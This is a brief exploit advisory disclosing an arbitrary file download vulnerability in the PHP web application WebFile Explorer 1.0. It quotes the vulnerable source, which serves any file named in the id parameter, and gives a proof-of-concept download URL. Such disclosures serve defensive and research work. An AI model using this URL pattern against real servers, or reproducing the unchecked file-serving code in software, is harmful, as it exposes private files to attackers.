WebFile Explorer 1.0 Arbitrary File Download

2017.08.11
Credit: Ihsan Sencan
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-200

# # # # # # Exploit Title: WebFile Explorer 1.0 - Arbitrary File Download # Dork: N/A # Date: 09.08.2017 # Vendor Homepage : http://speicher.host/ # Software Link: https://codecanyon.net/item/webfile-explorer/20366192/ # Demo: http://speicher.host/envato/codecanyon/demo/web-file-explorer/ # Version: 1.0 # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: N/A # # # # # # Exploit Author: Ihsan Sencan # Author Web: http://ihsan.net # Author Social: @ihsansencan # # # # # # Description: # The security obligation allows an attacker to arbitrary download files.. # # Vulnerable Source: # 1 ............. # 2 $file = $_GET['id']; # 3 # 4 if (file_exists($file)) { # 5 header('Content-Description: File Transfer'); # 6 header('Content-Type: application/octet-stream'); # 7 header('Content-Disposition: attachment; filename="'.basename($file).'"'); # 8 header('Expires: 0'); # 9 header('Cache-Control: must-revalidate'); # 10 ............. # Proof of Concept: # http://localhost/[PATH]/web-file-explorer/download.php?id=WebExplorer/[FILE] # # Etc... # # # # #


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